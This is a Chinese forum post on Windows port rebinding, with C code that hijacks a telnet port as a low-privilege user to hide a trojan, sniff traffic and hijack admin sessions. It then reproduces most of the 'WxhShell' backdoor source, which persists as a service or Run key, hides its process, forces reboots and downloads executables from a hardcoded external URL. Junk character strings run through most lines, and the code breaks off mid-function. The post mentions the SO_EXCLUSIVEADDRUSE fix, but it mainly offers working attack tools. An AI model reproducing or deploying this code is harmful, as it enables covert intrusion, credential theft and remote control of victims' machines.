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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >}%#s`3W1_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iC/*d  
bxtH`^  
  saddr.sin_family = AF_INET; {sGEopd8]q  
#v<`|_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -Dx3*ZhP  
Yj/ o17  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ",D!8>=s  
DXI4DM"15I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8FMxn{k2  
EJ#I7_  
  这意味着什么?意味着可以进行如下的攻击: q,O_y<uw  
Nr~!5XO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :PW"7|c!  
$!MP0f\q g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vI0,6fOd6  
6?~9{0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B=L!WGl<!  
( _6j@?u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GDSXBa*7  
] xHiy+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H-+U^@w  
fmj}NV&ma  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n qO*z<  
G)%V 3h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Um{) ?1  
3qf#NJN}  
  #include I9qFXvqL  
  #include -^2p@^  
  #include 3*~`z9-z  
  #include    SsTBjIX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6qFzo1LO  
  int main() uX3yq<lK"  
  { vJ}WNvncVF  
  WORD wVersionRequested; qnboXGaFu  
  DWORD ret; RQ =$, i`  
  WSADATA wsaData; zKGZg>q  
  BOOL val; yuBRYy#E|%  
  SOCKADDR_IN saddr; F:T(-,  
  SOCKADDR_IN scaddr; el*|@#k}  
  int err; Tp?IK_  
  SOCKET s; Mf#@8"l  
  SOCKET sc; [*p;+&+/ZM  
  int caddsize; 2A; i  
  HANDLE mt; jI7 x<=  
  DWORD tid;   'g)f5n a[  
  wVersionRequested = MAKEWORD( 2, 2 ); rHB>jN@$  
  err = WSAStartup( wVersionRequested, &wsaData ); Y3DqsZ@  
  if ( err != 0 ) { t!Cz;ajNi  
  printf("error!WSAStartup failed!\n"); x\8g ICf  
  return -1; 4X]/8%]V  
  } t3Gy *B  
  saddr.sin_family = AF_INET; Os-Z_zSl6  
   &uRT/+18W3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A;Y~Hu4KPZ  
0*b8?e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :38h)9>RK  
  saddr.sin_port = htons(23); 5?SE?VC=t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2|lR@L sr  
  { 7>y]uT@ar  
  printf("error!socket failed!\n"); v4s4D1}  
  return -1; bWp:!w#K  
  } W ,6q1  
  val = TRUE; iv_3R}IbX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JI]Lz1i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9!n95  
  { Es7 c2YdU  
  printf("error!setsockopt failed!\n"); !~9ASpqvPy  
  return -1; m_oUl(pk  
  } _Sfu8k>):  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /C Xg$%\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -LRx}Mb9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,.p 36ZLP  
F$tzsz,9n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nuot[1kS  
  { ;&=CZ6vH  
  ret=GetLastError(); }.)R#hG?  
  printf("error!bind failed!\n"); >8I~i:hn  
  return -1; 3]?='Qq.(  
  } aC2Vz9e  
  listen(s,2); 01-rBto$  
  while(1) h<3b+*wYJC  
  { Nm z5:Rq  
  caddsize = sizeof(scaddr); j% 7Gje[  
  //接受连接请求 ,+`r2}N \/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #Mn?Nn  
  if(sc!=INVALID_SOCKET) ME]4tu  
  { onSt%5{P%X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eUQmW^  
  if(mt==NULL) , 4xNW:!j  
  { ,Ohhl`q(  
  printf("Thread Creat Failed!\n"); `)y ;7%-  
  break; DSRc4 |L  
  } i4D]>  
  } ^UKY1Q .  
  CloseHandle(mt); C;HEv q7  
  } $7Hwu^c(  
  closesocket(s); v\6.#>NQ  
  WSACleanup(); ##Pzc~xSn  
  return 0; I2CI9,0  
  }   jy.L/s  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'XKfKv >;  
  { A"M;kzAfHM  
  SOCKET ss = (SOCKET)lpParam; z_xy*Iif  
  SOCKET sc; Ur< (TM  
  unsigned char buf[4096]; S y <E@1  
  SOCKADDR_IN saddr; ty['yV-;a  
  long num; h SS9mQ  
  DWORD val; =<HekiYM  
  DWORD ret; G`%rnu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @JhkUGG]p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )J@[8 x`  
  saddr.sin_family = AF_INET; J[?oV;O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jRC{8^98  
  saddr.sin_port = htons(23); \Qah*1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jm<^WQ%Cc  
  { 0qFO+nC  
  printf("error!socket failed!\n"); ) 6QJZ$  
  return -1; jW8ad{  
  } 8/R$}b><  
  val = 100; P{K\}+9F   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5 ,MM`:{{  
  { yO7H!}y_  
  ret = GetLastError(); A2\hmp@A@7  
  return -1; JJ)  
  } VO:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jG `PyIgw  
  { dLH@,EKl)  
  ret = GetLastError(); GPh;r7xg6  
  return -1; h!(# /  
  } 6)YckxN^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !1R?3rVQS  
  { /1/'zF&R-  
  printf("error!socket connect failed!\n"); G2wSd'n*y  
  closesocket(sc); 0N!rIz  
  closesocket(ss); N~v<8vJq`  
  return -1; l^bak]9 1  
  } vqT) =ZC1  
  while(1) cLL2 '  
  { h#UPU7;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z<d=v3q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \\ R<HuTY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {f4jE#a>v  
  num = recv(ss,buf,4096,0); _X?_|!;J  
  if(num>0) [^a7l$fmi  
  send(sc,buf,num,0); #B?lU"f8q^  
  else if(num==0) k8n9zJ8  
  break; ECL{`m(#n  
  num = recv(sc,buf,4096,0); '@KH@~OzRS  
  if(num>0) Dj=$Q44  
  send(ss,buf,num,0); ]]r ;}$  
  else if(num==0) :dipk,b?n  
  break; mm#UaEp  
  } |4/rVj"  
  closesocket(ss);  rwSR  
  closesocket(sc); P*;[&Nn4  
  return 0 ; 9wfE^E1  
  } ?Mo)&,__  
= =pQ V[  
)g8Kicox5  
========================================================== $HOe){G  
b (H J|  
下边附上一个代码,,WXhSHELL wG s'qL"z  
M*T!nwb  
========================================================== :_HdOm  
/z!y[ri+J  
#include "stdafx.h" J0&-UnJ  
(g[WZB3x  
#include <stdio.h> %8 DI)n#H  
#include <string.h> jpYZ) So-  
#include <windows.h> KIY`3Fl09  
#include <winsock2.h> N?rE:0SJ  
#include <winsvc.h> L^C B#5uG  
#include <urlmon.h> 5>S1lyam  
^ux'-/  
#pragma comment (lib, "Ws2_32.lib") L"1AC&~ u  
#pragma comment (lib, "urlmon.lib") =`(W^&|  
P(b~3NB)  
#define MAX_USER   100 // 最大客户端连接数 >f&L7@  
#define BUF_SOCK   200 // sock buffer ;=P!fvHk  
#define KEY_BUFF   255 // 输入 buffer D{d%*hlI 3  
t&JOASYC  
#define REBOOT     0   // 重启 d7X7_  
#define SHUTDOWN   1   // 关机 mg._c  
PS!or!m  
#define DEF_PORT   5000 // 监听端口 MR4k#{:w  
PVxu8n  
#define REG_LEN     16   // 注册表键长度 ~S~+'V,d  
#define SVC_LEN     80   // NT服务名长度 @v&P;=lU  
w?*79 u  
// 从dll定义API 4k{xo~+%,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xep2 )3k>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _'y`hKeI[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^"iL|3d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A[fTpS~~%  
/9SoVU8  
// wxhshell配置信息 \AI-x$5R*  
struct WSCFG { 7$0bgWi  
  int ws_port;         // 监听端口 VL"Cxs  
  char ws_passstr[REG_LEN]; // 口令 fO#nSB/ 8  
  int ws_autoins;       // 安装标记, 1=yes 0=no :! $+dr(d  
  char ws_regname[REG_LEN]; // 注册表键名 #Ddo` >`&  
  char ws_svcname[REG_LEN]; // 服务名 /Trbr]lWy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7&jq  =  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3TV4|&W;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * _usVg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x<w-j[{k_K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6e.l# c!1}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7z\ #"~(.  
rN.8-  
}; yZoJD{'?Sw  
ON>l%Ae4G  
// default Wxhshell configuration .n.N.e  
struct WSCFG wscfg={DEF_PORT, |eye) E:  
    "xuhuanlingzhe", f*xv#G  
    1, KT(v'KE 1  
    "Wxhshell", w4Hq|N1-Y  
    "Wxhshell", C*RPSk  
            "WxhShell Service", e`JWY9%  
    "Wrsky Windows CmdShell Service", [ gR,nJH.  
    "Please Input Your Password: ", eMn'z]M&]  
  1, PN J&{4wY  
  "http://www.wrsky.com/wxhshell.exe", HHgv, bC!  
  "Wxhshell.exe" 23ho uS   
    }; spQr1hx<  
^)`e}}  
// 消息定义模块 2"}Vfy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !lZ}kz0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IY!8j$'|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5D7k[+6  
char *msg_ws_ext="\n\rExit."; :1"k`AG  
char *msg_ws_end="\n\rQuit."; e:N;Jx#  
char *msg_ws_boot="\n\rReboot..."; m9 c`"!  
char *msg_ws_poff="\n\rShutdown..."; ?djH!  
char *msg_ws_down="\n\rSave to "; I^n,v) 8  
JXt_  
char *msg_ws_err="\n\rErr!"; Ck m:;q  
char *msg_ws_ok="\n\rOK!"; aehB,l0  
_T805<aUW\  
char ExeFile[MAX_PATH]; %'X7T^uE  
int nUser = 0; k7sD"xR3  
HANDLE handles[MAX_USER]; p7izy$Wc  
int OsIsNt; f"AT@Ga]  
Uhn3usK  
SERVICE_STATUS       serviceStatus; y G mFi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; at\u7>;.^k  
]j*uD317  
// 函数声明 kPAg *  
int Install(void); rY@9nQ\>g  
int Uninstall(void); {+5Ud#\y  
int DownloadFile(char *sURL, SOCKET wsh); Q_0_6,Opb  
int Boot(int flag); k`z]l;:  
void HideProc(void); S|6i]/  
int GetOsVer(void); xj AU Csq  
int Wxhshell(SOCKET wsl);  VS7  
void TalkWithClient(void *cs); U ){4W0  
int CmdShell(SOCKET sock); 3=Uyt  
int StartFromService(void); ?Ycl!0m  
int StartWxhshell(LPSTR lpCmdLine); *.1#+h/]3  
8`1]#Vw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `]l|YQz\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a>d`g  
+`$$^x  
// 数据结构和表定义 ])?h ~  
SERVICE_TABLE_ENTRY DispatchTable[] = w~=xO_%  
{ GlC(uhCpV  
{wscfg.ws_svcname, NTServiceMain}, *L Y6hph"  
{NULL, NULL} OOABn*  
}; Fs=)*6}&  
X68.*VHh0  
// 自我安装 Ty7 `&  
int Install(void) F$:UvW@e1  
{ JnqP`kYbTE  
  char svExeFile[MAX_PATH]; ofI,[z3  
  HKEY key; sint":1FC  
  strcpy(svExeFile,ExeFile); 'w<^4/L Q  
^LXsU] R  
// 如果是win9x系统,修改注册表设为自启动 3Tw9Uc\vT  
if(!OsIsNt) { cT&lkS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O69TU[Vn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~*^o[~x]\  
  RegCloseKey(key); c@nh>G:y{&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %uiCC>cC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,R7j9#D  
  RegCloseKey(key); Fo~q35uB  
  return 0; ;nAx@_ab^  
    } @`^Z5n.4  
  } *mYGs )|  
} -QBM^L  
else { ;K4uu<e \  
6o(.zk`d  
// 如果是NT以上系统,安装为系统服务 /t2H%#v{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *Utx0Me  
if (schSCManager!=0) 2FO<Z %Y  
{  (wxi!  
  SC_HANDLE schService = CreateService n!Y}D:6c6  
  ( xbHI 4A"Z  
  schSCManager, X%B$*y5  
  wscfg.ws_svcname, e5; YY  
  wscfg.ws_svcdisp, gv(MX ;B#  
  SERVICE_ALL_ACCESS, FlrYXau  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #e@[{s7  
  SERVICE_AUTO_START, 5'w&M{{9  
  SERVICE_ERROR_NORMAL, OCCC' k  
  svExeFile, ^'+#BPo9@  
  NULL, %@ q2  
  NULL, vkG%w;  
  NULL, yWT1CID  
  NULL, CC$rt2\e  
  NULL F/:%YR;  
  ); ~xws5n}F  
  if (schService!=0) 3.ShAL  
  { v5?ct?q  
  CloseServiceHandle(schService); P"@^BQ4  
  CloseServiceHandle(schSCManager); TXs&*\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WqCj;Tj|  
  strcat(svExeFile,wscfg.ws_svcname); N_+D#Z.g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CEzdH!nP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  s%5XBI  
  RegCloseKey(key); ,u- 9e4  
  return 0; ]'hel#L;l  
    } mGmZ}H'{  
  } "W9z>ezp  
  CloseServiceHandle(schSCManager); ^![7X'!;pt  
} ~~t >;  
} ]xJ. OUJy  
"kIlxf3  
return 1; +<B"g{dLuX  
} 4((p?jb C  
{Dy,u%W?  
// 自我卸载 BmYX8j]  
int Uninstall(void) }%42Ty  
{ *#?9@0b@  
  HKEY key; ;DKJ#tS}"  
6Tm7|2R  
if(!OsIsNt) { )?LZg<<   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wCj)@3F  
  RegDeleteValue(key,wscfg.ws_regname); Lso%1M  
  RegCloseKey(key); mW,b#'hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aq>?G+  
  RegDeleteValue(key,wscfg.ws_regname); /h]ru SI  
  RegCloseKey(key); iorQ/(  
  return 0; <KoOJMx(  
  } [W3sveqj&  
} e$rPXRf  
} {QOy' 8 /  
else { A#i[Us|  
#2Iw%H2q&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aQ&K a  
if (schSCManager!=0) XSh [#qJ  
{ P9q=tC3^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5HY0 *\  
  if (schService!=0) K(TejW#  
  { Q0ba;KPm  
  if(DeleteService(schService)!=0) { X_,R!$wbg:  
  CloseServiceHandle(schService); (FGH t/!  
  CloseServiceHandle(schSCManager); V <ilv<  
  return 0; S5UQ   
  } iYlkc  
  CloseServiceHandle(schService); :<5jlpV(  
  } <HpUP!q8v  
  CloseServiceHandle(schSCManager); l$R9c+L=  
} 3&+nV1  
} #|=lU4Bf  
g{2~G6%;0  
return 1; G6JP3dOT  
} ~HKzqGQy >  
%8YUK/(|n  
// 从指定url下载文件 d%E*P4Ua  
int DownloadFile(char *sURL, SOCKET wsh) GR 1%(,  
{ Cyo:Da  A  
  HRESULT hr; Y'+K U/H  
char seps[]= "/"; x>T+k8[n  
char *token; i]qxF&1  
char *file; E7/i_Xkk  
char myURL[MAX_PATH]; sx'eu;S  
char myFILE[MAX_PATH]; }` <D KO/  
TWfk r  
strcpy(myURL,sURL); QDb8W*&<  
  token=strtok(myURL,seps); Re*~C:  
  while(token!=NULL) 4 DV,f2:R4  
  { K7i@7  
    file=token; 2dbn~j0  
  token=strtok(NULL,seps); J L1]auO*  
  } Dg}EI^ d  
$IdU  
GetCurrentDirectory(MAX_PATH,myFILE); eIhfhz?Q;#  
strcat(myFILE, "\\"); "/3YV%to-#  
strcat(myFILE, file); {)Shc;Qh  
  send(wsh,myFILE,strlen(myFILE),0); jQBn\^w  
send(wsh,"...",3,0); HLc3KYIk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  <$K7f  
  if(hr==S_OK) f=8{cK0j  
return 0; 4VC8#x1  
else rQ&XHG>Q*  
return 1; W?[ C au-  
l?Ls=J*  
} E, oR.B  
,VzbKx,  
// 系统电源模块 gebL6oc%  
int Boot(int flag) 0E{DO<~  
{ s'Qmr s a  
  HANDLE hToken; :H:+XIgoR  
  TOKEN_PRIVILEGES tkp; -e0?1.A$  
WKwYSbs(  
  if(OsIsNt) { 3|EAOoWnK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); = U[$i"+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H%i [;  
    tkp.PrivilegeCount = 1; u Qg$hS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;w._/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b8Hz l!zO  
if(flag==REBOOT) { 53^3. .E|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8~|v:qk  
  return 0; VAe[x `  
} N0 mh gEA  
else { <KI>:@|Sc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :EH>&vm  
  return 0; /neY2D6  
} 6 tB\X^  
  } ~Qf\DTM&  
  else { {j4&'=C:  
if(flag==REBOOT) { JcfGe4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZzP&Zrm  
  return 0; oqg +<m  
} 4RH>i+)pS\  
else { 5s>>] .%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B^{~,'  
  return 0; HC6v#-( `{  
} (aq-aum-I  
} 4i<GqG  
#wkSru&LS  
return 1; ZQ'|B  
} hb9HVj  
0vMKyT3 c  
// win9x进程隐藏模块 vTL/% SJ8  
void HideProc(void) `_BmVms  
{ BbPRPkV  
[e{D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JEP9!y9y  
  if ( hKernel != NULL ) o'Y/0hkh  
  { Fr2F&NN`D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [*5hx_4%B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qt4%=E;[  
    FreeLibrary(hKernel); ,4;'s  
  } B$S@xD $  
~~Rq$'q}  
return; |Nadk(}  
} [ /<kPi  
S@TfZ3Go|  
// 获取操作系统版本 &MB1'~Q,hq  
int GetOsVer(void) 9Sl5jn  
{ xmfZ5nVL  
  OSVERSIONINFO winfo; 0;]VTz?P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZoCk]hk  
  GetVersionEx(&winfo); +6^hp-G7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6 B7 F  
  return 1; mXyg\5  
  else JgV4-B0  
  return 0; 9hJ a K  
} ZkNet>9  
=-qYp0sVP  
// 客户端句柄模块 $if(n||  
int Wxhshell(SOCKET wsl) J*AYZS-tSE  
{ 6]4=8! J  
  SOCKET wsh; 8m#y>`  
  struct sockaddr_in client; $I<\Yuy-M9  
  DWORD myID; D u_ ;!E  
yQ&C]{>TS  
  while(nUser<MAX_USER) Ht@5@(W]I  
{ ~B7<Yg  
  int nSize=sizeof(client); VZ7E#z+nM#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *?>52 -&b  
  if(wsh==INVALID_SOCKET) return 1; ih |&q  
,vBB". LY'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b'vIX< g  
if(handles[nUser]==0) _ D"S  
  closesocket(wsh); Vl'rO_?t  
else /J(~NGT  
  nUser++; : ?>yi7w  
  }  &'?Hh(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); - rI4_Dl  
M-e|$'4u  
  return 0; Z4m+GFY  
} =c%gV]>G  
#RKd >ig%  
// 关闭 socket Ds{DVdqA$c  
void CloseIt(SOCKET wsh) LCe6](Z  
{ 57_AJT hR  
closesocket(wsh); Ri*mu*r\}  
nUser--; =Ew77  
ExitThread(0); ,L-V?B(UQ  
} pIKfTkSqH  
E `V?Io  
// 客户端请求句柄 t@iw&> 8z  
void TalkWithClient(void *cs) E5Ls/ H K  
{ O(:/ &`)  
$&i8/pD  
  SOCKET wsh=(SOCKET)cs; ^+kymZ  
  char pwd[SVC_LEN];  xS="o  
  char cmd[KEY_BUFF]; G'wyH[ d/  
char chr[1]; $J0o%9K   
int i,j; !LsIHDs4  
R~;8v1>K  
  while (nUser < MAX_USER) { 7&(h_}Z  
tqL2' (=  
if(wscfg.ws_passstr) { `trcYmR=k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6LqF*$+$`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hr \vu`p$  
  //ZeroMemory(pwd,KEY_BUFF); :!FGvR6  
      i=0; @ *5+ZAF  
  while(i<SVC_LEN) { v"<M ~9T)  
H8m[:K]_H  
  // 设置超时 R{6M(!x  
  fd_set FdRead; } V"A;5j`  
  struct timeval TimeOut; WE+Szg(4x  
  FD_ZERO(&FdRead); [}}q/7Lp  
  FD_SET(wsh,&FdRead); sWi4+PAM0  
  TimeOut.tv_sec=8; Sae*VvT6  
  TimeOut.tv_usec=0; N,*'")k9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vtc%MG1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F| P?|  
r&~]6 U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <)"2rxX&5  
  pwd=chr[0]; *zdUCX  
  if(chr[0]==0xd || chr[0]==0xa) { n- 1  
  pwd=0; P!{J28dj  
  break; |\)Y,~;P  
  } a|k*A&5u2  
  i++; }{[JS=A^  
    } Yqv!ZJ6  
 O@skd2  
  // 如果是非法用户,关闭 socket TiJ \J{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); biU ?>R  
} M7YbRl  
G{zxP%[E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _*xY>?Aq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y`cL3 xr4R  
VmZDU(M  
while(1) { OD?y  
f{|n/j;n=C  
  ZeroMemory(cmd,KEY_BUFF); 'vKae  
J8[aVG  
      // 自动支持客户端 telnet标准   w,X J8+B  
  j=0; .g.g lQ_~=  
  while(j<KEY_BUFF) { 3.rl^Cq1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XRP+0=0  
  cmd[j]=chr[0]; m &[(xVM  
  if(chr[0]==0xa || chr[0]==0xd) { ( v$ i  
  cmd[j]=0; Qz$Wp*  
  break;  TZdJq  
  } !yz3:Yzu  
  j++; "kKIv|`  
    } tv; ?W=&P  
\@zoM:[sN  
  // 下载文件 \[/}Cy  
  if(strstr(cmd,"http://")) { Yfy";C7X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QHtN_Q_F  
  if(DownloadFile(cmd,wsh)) uI3oPP> $  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); { 3 "jn  
  else i;:}{G<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |:`)sx3@#  
  } lGJ&\Lv:  
  else { v2YU2-X[  
BLm}mb#/{  
    switch(cmd[0]) { 1\/~>  
  AU;Iif6  
  // 帮助 yz)Nco]  
  case '?': { ler$HA%F]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W~s:SN  
    break; I,r0K]  
  } LwH+X:?i  
  // 安装 r'@7aT&_  
  case 'i': { bKh}Y`  
    if(Install()) y-Lm^ GW4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?jxD/9Yb  
    else Iomx"y]9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oMNBK/X_  
    break; {<cgeH  
    } GZmfE`  
  // 卸载 +hs:W'`%  
  case 'r': { +KIBbXF7  
    if(Uninstall()) _9S"rH[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@~4:o  
    else A^4#6],%v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s1X?]A  
    break; ^xr & E  
    } m,F4N$  
  // 显示 wxhshell 所在路径 59V8cO+qH  
  case 'p': { U?EXPi61Z  
    char svExeFile[MAX_PATH]; Bo0T}P~  
    strcpy(svExeFile,"\n\r"); ifmX<'(9A  
      strcat(svExeFile,ExeFile); *#GX~3A  
        send(wsh,svExeFile,strlen(svExeFile),0); H8E#r*"-m  
    break; _OK!/T*FBt  
    } m5W':vM  
  // 重启 %B\VY+  
  case 'b': { :aD_>,n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V)I Tk \  
    if(Boot(REBOOT)) p1IN%*IV+o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +}BKDEb  
    else { C *7x7|z  
    closesocket(wsh); 9q2x}  
    ExitThread(0); _?XR;2 ]  
    } s|R`$+'{  
    break; `*B6T7p1  
    } ^Jc|d,u;s  
  // 关机 OSwum!hzN  
